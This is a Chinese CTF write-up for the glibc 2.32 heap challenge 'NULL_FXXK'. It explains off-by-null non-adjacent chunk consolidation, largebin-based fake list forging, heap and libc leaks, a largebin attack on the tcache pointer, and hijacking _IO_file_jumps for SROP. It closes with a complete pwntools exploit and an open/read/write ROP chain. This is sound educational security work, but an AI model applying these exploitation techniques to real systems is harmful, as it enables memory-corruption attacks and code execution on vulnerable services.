热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

glibc2.32中的隔块合并手法与NULL_FXXK题解

 保护情况 程序分析rep stos指令rep指令:重复指令ecx次stos:把eax中的值复制到es:EDI指向的地方,每次执行都会增加ediDF标志寄存器决定方向这一段指令的作用就是把tcache

 

保护情况

 

程序分析



rep stos指令



  • rep指令:重复指令ecx次

  • stos:把eax中的值复制到es:EDI指向的地方,每次执行都会增加edi

    • DF标志寄存器决定方向




  • 这一段指令的作用就是把tcache全部设置为0



程序功能



  • Init时,会通过calloc(0x10, 1)-0x290得到一个指向tcache的指针

  • 每次读入cmd时会检查

    • __malloc_hook是否为null

    • __free_hook是否为null

    • 检查libc中偏移0x1e6e98处是否为0x80, 也就是maxfast是否为0x80

    • 把Tcache全部设置为0



  • Add

    • 最多32个指针

    • 0x100<=size<=0x2000

    • ptr = malloc(sz)

    • read(0, ptr, size)

    • ptr[size-1]=0

    • PtrArr[idx] = ptr

    • SizeArr[idx] = size



  • Free

    • 读入idx

    • free(PtrArr[idx])

    • PtrArr[idx]=0

    • SizeArr[idx]=0



  • Show

    • 读入idx

    • write(1, PtrArr[idx], strlen(PtrArr[idx]))



  • Modify

    • 只能运行一次

    • len = read(0, PtrArr[idx], SizeArr[idx])

    • PtrArr[idx][len]=0



 

思路



  • 题目每次都会清空tcache,并且size可以超过0x420

  • 那么对于0x420以内的chunk ,free会被直接吃掉

  • 对于大于0x420的chunk,机制和2.23一样,题目考的是UB相关手法

  • 题目只有一个offset by null,可以用来打P标志

  • 但是再2.32中free合并时有自闭检查+prev_size与size检查,无法使用隔块合并的手法


  • 既然不能先溢出再释放,那么就试试先释放再通过相邻块溢出

-也被堵死了

UB相关的都被堵死

 

解决



  • 只有一个offset by null,还是通过UB隔块合并制造chunk重叠

  • 在libc2.32中由于加入了对prev_size的检查,所以还必须要伪造prev_size,因此无法靠合并已经在UB中的chunk来绕过unlink

  • 因此我们必须自己伪造prev_size与size

  • 至于unlink的检查,则通过堆风水,利用Largebin的nextsize链表+partial overwrite,利用残留信息来伪造自闭链表



堆风水


  • 但是这里partial overwrite也是有限制的,本题写入的时候结尾只能是00

  • 如果B的地址为0x..1200, 那么就要求AC地址也是0x..12XX的格式, 但本题最小chunk为0x110,因此低第三B不可能都是12,所以只能高位相同

  • B的地址为0x120034, 那么就要求AC的地址为0x12XXXX的格式,这个很容易满足



chunk布局



  • 首先至少有A:0x500 A’:0x500 B:0x510 C:0x520三个chunk进入LB来伪造自闭链表

    • (0x500 0x500 0x510 0x520)



  • 为了避免在UB中合并,因此还需要0x110的chunk作为gap, A和A’不会一起释放,所以不需要gap

    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x110)



  • 还需要两个chunk一个用来溢出后一个chunk的P标志,一个用来free时触发隔块合并,前一个malloc的size必须为8结尾,后一个chunksize必须与0x100对齐

    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x200, 0x300, 0x0x110)



  • 现在可以让(0x510…0x300)之间的chunk都被合并进入UB中, 进入之后还需要一部分区域来进行攻击,越大越好,选择0x2010

    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)



  • 由于partial overwrite时结尾为00的限制,因此还需要一切chunk来让0x500 0x510 0x520 的size为0xSS SS SS SS SS SS 00 XX的格式(S表示一样,XX表示任意)

    • (padding 0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)





padding的构造



  • 我们需要把指向A A’ C的指针覆盖为指向B的,并且只能结尾覆盖为00

  • 那么理应让B再地址0x…00XX, 让A’ A C在高处, 因此chunk布局就变成为:

    • (padding, 0x510, 0x500, 0x500, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)





  • 先看下没有padding的情况


  • chunk B的addr为0x…b2c0 – 0x10 = 0x…b2b0

  • 为了让达到0x…00XX的格式,至少还要0x10000-0xb2b0 = 0x4d50

  • 因此尝试下0x2010 0x2010 0xd30到三个chunk作为padding


  • 现在指向chunk A’ A C的指针都可以被partial overwrite为指向chunk B的指针



构造自闭链表



  • 首先全部放入UB中


  • 然后再Add一个很大的chunk, 这样就可以触发UB整理, 把ABC按照大小放入LB中, 然后把Add的很大的chunk释放掉,与top chunk合并


  • 先把B拿出来, 把fd bk作为prev_size 和size 字段, 把fd_nextsize bk_nextsize作为fd bk

    • 我们要溢出chunk10, free时 让chunk 10 一直合并到B

    • chunk 10 地址为0x0000555555563760-0x10

    • 我们在B中伪造的FakeChunk地址为0x555555560010

    • 因此prev_size为0x3740




  • 再取出A, partial overwrite 他们的heap指针


  • 此C中已经没有heap指针,所以需要把A’ 放入LB, 来让C有一个可以被partial overwrite为指向B中FakeChunk的指针


  • 然后取出C, partial overwrite C中指向A’的fd指针


  • 至此, 自闭链表就构造完成了



隔块合并



  • 接着就可以利用chunk9去溢出chunk10的P标志,并伪造prev_size实现隔块合并

  • 问题:我们需要free chunk10 ,让chunk10进入UB的逻辑,因此就需要绕过tcache

  • 因此size最小为0x430, 又因为需要与0x100对齐,所以用来触发合并的chunk 10 size应为0x500

成功构造出overlap


泄露堆地址



  • 在unlink前我们有B->bk = C, C->fd=B, 并且C是被索引到的,但由于00截断,无法读出堆地址


  • 但是再unlink时,会有

    • bck = B->bk = C

    • fwd = B->fd = A

    • bck->fd = fwd => C->fd = A



  • 因此A的地址就被写入到了C的开头,并且没有被00截断,我们可以直接show出来


泄露libc地址



  • 任何写入都会被00结尾,因此只能让addr自己出现在可读取的位置

  • 常规思路为切割UB,让idx指向UB中的chunk头,通过UB的fd泄露

  • 但问题是本题的UB的fd是00结尾的,无法show出来


  • 所以只能借助与LB中的fd bk指针

  • heap情况:


  • 我们需要把一个被索引的chunk放入LB中

  • 利用UB的切割机制,就可以, 把UB切割到一个被索引的位置,并且切到小于0x2000,然后申请一个大的chunk,UBchunk就会被整理到LB中


任意写



  • UB的利用需要伪造size, LB则难以伪造链表,两者都有很多先决条件,还是使用tcache进行攻击最方便

  • 因此可以利用LBattack向保存tcache指针的地方写入一个victim地址,从而控制整个tcache结构体


  • 进行LB attack的手法

    • 我们需要把一个被索引的0x510的chunkA放入LB中,然后手中有一个0x500的chunkB

    • free(chunkA) A进入UB, 再Add(0x500)就可修改LB中的chunk

    • 然后free(chunkB)进入UB

    • 再Add(0x2000)触发整理即可像addr2写入被free的chunk地址





  • 再找到存放tcache的地址


  • exp:


Tcache布局



  • 根据计算公示:

    • idx = (chunk_size – 0x20)/0x10, idx从0开始

    • count_addr(idx) = tcache_addr + idx*2

    • entry_addr(idx) = tcache_addr + 0x80 + idx*8



  • 现在tcache位于0x0000555555561540 , 如果我们使用0x400的chunk,那么就有

    • idx = (0x400-0x20)/0x10 = 0x3

    • count_addr(0x3e) = tcache_addr + 0x3e*2 = tcache_addr + 0x7C

    • entry_addr(0x3e) = tcache_addr + 0x80 + 0x3e*8 = tcache_addr + 0x270



  • 由于写入的地址是被free的那个chunk, 所以要据此对0x500那个chunk进行布局

    • 注意:写入的是chunkB地址,我们写入是从chunkB+0x10开始的,所以fake_tcache都要减去0x10




如何劫持执行流



  • 由于无法堆__free_hook进行修改, 因此只能从IO入手

  • 由于本题没有使用流输入输出,所以只能从libc中的输出开始入手

  • libc的ptmalloc中有两种错误输出:

    • __glibc_unlink(…) 这是安全检查, 这种错误信息直接write(STDERR, …) 无法利用

    • assert(…) 这是运行时检查, 错误信息会通过流输出



assert()定义:

#define assert(e) \
(__builtin_expect(!(e), 0) ? __assert_rtn(__func__, __FILE__, __LINE__, #e) : (void)0)
#define __assert(e, file, line) \
__eprintf ("%s:%d: failed assertion `%s'\n", file, line, e)
#define eprintf(format, ...) fprintf (stderr, format, __VA_ARGS__)

eprintf()的调用实际就转为vfprintf()的调用

int __fprintf (FILE *stream, const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
dOne= __vfprintf_internal (stream, format, arg, 0);
va_end (arg);
return done;
}

vfprintf()中会进入buffered_vfprintf()

static int buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags)
{
CHAR_T buf[BUFSIZ];
struct helper_file helper;
FILE *hp = (FILE *) &helper._f; //助手流
int result, to_flush;
//...hp初始化
_IO_JUMPS (&helper._f) = (struct _IO_jump_t *) &_IO_helper_jumps; //为助手流设置虚表:_IO_helper_jumps
/* Now print to helper instead. */
result = vfprintf (hp, format, args, mode_flags); //输出到助手流hp中
//...
if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0) //如果有要输出的
{
if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush) //那么就调用s的_IO_sputn全部输入回s
result = -1;
}
//..
return result;
}


  • 因此assert会转入stderr虚表中的_IO_sputn调用

  • stderr使用_IO_file_jumps作为虚表, 会调用函数_IO_file_xsputn

  • 但问题是我们不仅需要劫持虚表,还需要能控制rdx指向的数据, 这就要求

    • 调用时rdx 指向heap 或者libc中可写区域

    • 函数为虚表函数, 并且可写



  • 在_IO_file_xsputn中, rdx不可控, 但是他会继续调用其他函数,因此我们可以继续跟踪其调用

一路si下去发现,当fflush()调用sync是rdx指向一个libc中可写的区域

并且再2.32下,_IO_file_jumps是可写入的


  • 因此把_IO_file_jumps中的sync修改为setcontext+61, 然后在rdx指向的区域内写入SigreturnFrame即可开启SROP

  • rdx其实指向的另外一个可写入虚表,为了防止SIGV,要保证用到的表项不变



SROP



  • 根据上面的分析,我们需要劫持两个地方:虚表和一个缓冲区

  • 因此需要再tcache中伪造两项

然后劫持虚表即可

 

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
else: #remtoe
sh = remote('node2.hackingfor.fun', 36072)
def Num(num):
sh.send(str(num).ljust(0xA, '\x00'))
def Cmd(n):
sh.recvuntil(">> ")
Num(n)
def Add(sz, cOnt=''):
assert(0x100<=sz and sz<=0x2000)
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
sh.recvuntil('Content: ')
if(cOnt==''):
cOnt='aaa'
sh.send(cont)
def Edit(idx, cont):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Content: ')
sh.send(cont)
def Delete(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Show(idx):
Cmd(4)
sh.recvuntil('Index: ')
Num(idx)
#padding to align addr
Add(0x2000) #0
Add(0x2000) #1
Add(0xd20) #2
#chunk arrange
Add(0x500) #3 B, put into LB and unlink(B)
Add(0x4F0) #4 A'
Add(0x4F0) #5 A, put into LB
Add(0x100) #6 gap
Add(0x510) #7 C, put into LB
Add(0x2000) #8 chunk to attack
Add(0x1F8) #9 chunk to overflow P flag
Add(0x4F0) #10 chunk to be free
Add(0x100) #11 gap to top chunk
#sort A,B,C into UB
Delete(5) #UB<=>A
Delete(3) #UB<=>B<=>A
Delete(7) #UB<=>C<=>B<=>A
#put A,B,C into LB
Add(0x2000) #trigger sort, LB<=>C<=>B<=>A
Delete(3) #big chunk consolidate with top chunk
#forge FakeChunk in B
exp = p64(0) #prev_size
exp+= p64(0x3740|1) #size
Add(0x500, exp) #idx: 3; get chunk B, LB<=>C<=>A
#partial overwrite A's bk
exp = p64(0)
exp+= p16(0x0010)
Add(0x4F0, exp) #idx: 5; A's bk=>B, LB<=>C
#put A' into LB
Delete(4) #UB<=>A'
Add(0x2000) #trigger sort, LB<=>C<=>A'
Delete(4) #consolidate with top chunk
#partial overwrite C's fd
exp = p16(0x0010)
Add(0x510, exp) #idx:4; C's fd=>B
#chunk overlap
exp = 'A'*0x1F0
exp+= p64(0x3740) #chunk10's prev_size
Edit(9, exp) #chunk10 's P=0, prev_chunk(chunk10)=>FakeChunk in B
Delete(10) #UB<=>(FC in B, A', A, 6, C, 8, 9)
#leak heap addr
Show(4)
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x5a10
Log('heap_addr')
#get A' from LB
Add(0x4F0) #7
#split UB chunk, make it smaller than 0x2010
Add(0x1520) #UB<=>(8, 9)
Add(0x2000) #UB<=>(9)
#trigger sort
Add(0x2000) #LB<=>(9)
Delete(13)
#leak libc Addr
Show(9)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x1e40b0
Log('libc.address')
tcache_addr = libc.address + 0x1eb538
Log('tcache_addr')
Log("libc.symbols['__free_hook']")
#LB attack to control tcache ptr
_IO_file_jumps_addr = libc.address + 0x1e54c0
jumps_SYNC_addr = _IO_file_jumps_addr + 0x60
fake_tcache = '\x00'*(0x7C-0x10)
fake_tcache+= p16(1) #counts[0x400] = 1
fake_tcache+= p16(1) #counts[0x410] = 1
fake_tcache = fake_tcache.ljust(0x270-0x10, '\x00')
fake_tcache+= p64(jumps_SYNC_addr) #entries[0x400], setcontext
fake_tcache+= p64(libc.address+0x1e48c0) #entries[0x410], Sigreturn Frame
Delete(12) #UB<=>(8, 9)
Add(0x4F0, fake_tcache) #idx: 12; smaller chunkB, tcache_addr = chunkB
Add(0x1b10) #idx: 13; split
Add(0x500) #idx: 9,14; chunkA,
Add(0x1D0) #idx: 15 remain
Delete(14) #UB<=>chunkA
Add(0x2000) #idx: 14; trigger sort: LB<=>chunkA
Delete(14)
Delete(9) #UB<=>chunkA
exp = p64(0) #chunkA's prev_size
exp+= p64(0x511) #chunkA's size
exp+= p64(0) #chunkA's fd
exp+= p64(0) #chunkA's bk
exp+= p64(0) #chunkA's fd_nextsize
exp+= p64(tcache_addr-0x20) #chunkA's bk_nextsize
Add(0x6F0, exp)
Delete(12) #UB<=>chunkB
Add(0x2000) #trigger sort, now tcache=>fake_tcache
#control vtable
exp = p64(libc.symbols['setcontext']+61) #_IO_file_jumps.SYNC = setcontext+61
exp+= p64(libc.address+0x7e600) #avoid SIGV
Add(0x3F0, exp)
#GG
rdx_GG = libc.address + 0x14b760 #mov rdx, [rdi+8]; call [rdx+0x20]
pop_rdi = libc.address + 0x2858F
pop_rsi = libc.address + 0x2AC3F
pop_rdx_r12 = libc.address + 0x114161
pop_rax = libc.address + 0x45580
syscall = libc.address + 0x611EA
ret = libc.address + 0x26699
def Call(sys, a, b, c):
rop = flat(pop_rdi, a)
rop+= flat(pop_rsi, b)
rop+= flat(pop_rdx_r12, c, 0)
rop+= flat(pop_rax, sys)
rop+= flat(syscall)
return rop
#SROP
frame = SigreturnFrame()
frame.rsp = heap_addr + 0x6650 #RORW ROP addr
frame.rip = ret
frame.r10 = libc.address + 0x8e520 #avoid SIGV
exp = str(frame)
Add(0x400, exp) #buffer<=rdx, must be short
#RORW ROP
buf = heap_addr+0x200
exp = '\x00'*0x100 #padding
exp+= Call(0, 0, buf, 0x100) #read(0, buf, 0x100)
exp+= Call(2, buf, 0, 0) #open(buf, 0, 0)
exp+= Call(0, 3, buf, 0x100) #read(3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100) #write(1, buf, 0x100)
#make assert fail, trigger printf
Add(0x4F0, exp) #idx:17
NON_MAIN = 4
Delete(9) #UB<=>A
exp = p64(0) #chunkA's prev_size
exp+= p64(0x511|NON_MAIN) #chunkA's size
Add(0x6F0, exp) #idx: 16; chunkA in LB has NON_MAIN bit
Delete(17) #UB<=>chunk14
Cmd(1)
sh.recvuntil('Size: ')
Num(0x2000) #trigger
#file name
sh.send('./flag.txt\x00')
sh.interactive()
'''
'telescope '+hex(proc_base+0x4160)+' 18'
'''

 

总结



  • 堆风水:

    • 利用largebin的fd_nextsize与bk_nextsize来伪造fd bk

    • partial overwrite largebin中chunk的fd bk来构造自闭链表绕过其检查

    • 一共需要A:0x500 A’:0x500 B:0x510 C:0x520 四个chunk, 用B作为被unlink的chunk



  • 泄露堆地址

    • unlink时会把chunk地址写入到fd处



  • 泄露libc地址

    • 让idx索引到largebin中的chunk,利用fd泄露地址



  • 先打出double link

    • 一个索引把chunk释放到UB中,再申请一个大的,把他整理到LB中

    • 另一个索引用来show



  • 任意写手法:

    • 通过malloc把UB中的chunk整理入LargeBin时的LargeBin Attack,来修改tcache指针,从而使用自己伪造的tcache



  • SROP手法

    • 由于__free_hook被禁了,因此只能从IO的虚表入手

    • 由于setcontext使用rdx作为frame指针,因此需要找到一个虚表项, 在调用是rdx指向的位置可控





推荐阅读
  • SpringBoot uri统一权限管理的实现方法及步骤详解
    本文详细介绍了SpringBoot中实现uri统一权限管理的方法,包括表结构定义、自动统计URI并自动删除脏数据、程序启动加载等步骤。通过该方法可以提高系统的安全性,实现对系统任意接口的权限拦截验证。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 海马s5近光灯能否直接更换为H7?
    本文主要介绍了海马s5车型的近光灯是否可以直接更换为H7灯泡,并提供了完整的教程下载地址。此外,还详细讲解了DSP功能函数中的数据拷贝、数据填充和浮点数转换为定点数的相关内容。 ... [详细]
  • Android工程师面试准备及设计模式使用场景
    本文介绍了Android工程师面试准备的经验,包括面试流程和重点准备内容。同时,还介绍了建造者模式的使用场景,以及在Android开发中的具体应用。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • DSP中cmd文件的命令文件组成及其作用
    本文介绍了DSP中cmd文件的命令文件的组成和作用,包括链接器配置文件的存放链接器配置信息、命令文件的组成、MEMORY和SECTIONS两个伪指令的使用、CMD分配ROM和RAM空间的目的以及MEMORY指定芯片的ROM和RAM大小和划分区间的方法。同时强调了根据不同芯片进行修改的必要性,以适应不同芯片的存储用户程序的需求。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • 本文主要复习了数据库的一些知识点,包括环境变量设置、表之间的引用关系等。同时介绍了一些常用的数据库命令及其使用方法,如创建数据库、查看已存在的数据库、切换数据库、创建表等操作。通过本文的学习,可以加深对数据库的理解和应用能力。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 本文介绍了Python语言程序设计中文件和数据格式化的操作,包括使用np.savetext保存文本文件,对文本文件和二进制文件进行统一的操作步骤,以及使用Numpy模块进行数据可视化编程的指南。同时还提供了一些关于Python的测试题。 ... [详细]
  • 本文介绍了pack布局管理器在Perl/Tk中的使用方法及注意事项。通过调用pack()方法,可以控制部件在显示窗口中的位置和大小。同时,本文还提到了在使用pack布局管理器时,应注意将部件分组以便在水平和垂直方向上进行堆放。此外,还介绍了使用Frame部件或Toplevel部件来组织部件在窗口内的方法。最后,本文强调了在使用pack布局管理器时,应避免在中间切换到grid布局管理器,以免造成混乱。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • 本文讨论了如何使用GStreamer来删除H264格式视频文件中的中间部分,而不需要进行重编码。作者提出了使用gst_element_seek(...)函数来实现这个目标的思路,并提到遇到了一个解决不了的BUG。文章还列举了8个解决方案,希望能够得到更好的思路。 ... [详细]
  • OpenMap教程4 – 图层概述
    本文介绍了OpenMap教程4中关于地图图层的内容,包括将ShapeLayer添加到MapBean中的方法,OpenMap支持的图层类型以及使用BufferedLayer创建图像的MapBean。此外,还介绍了Layer背景标志的作用和OMGraphicHandlerLayer的基础层类。 ... [详细]
author-avatar
蒲小平2502897955
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有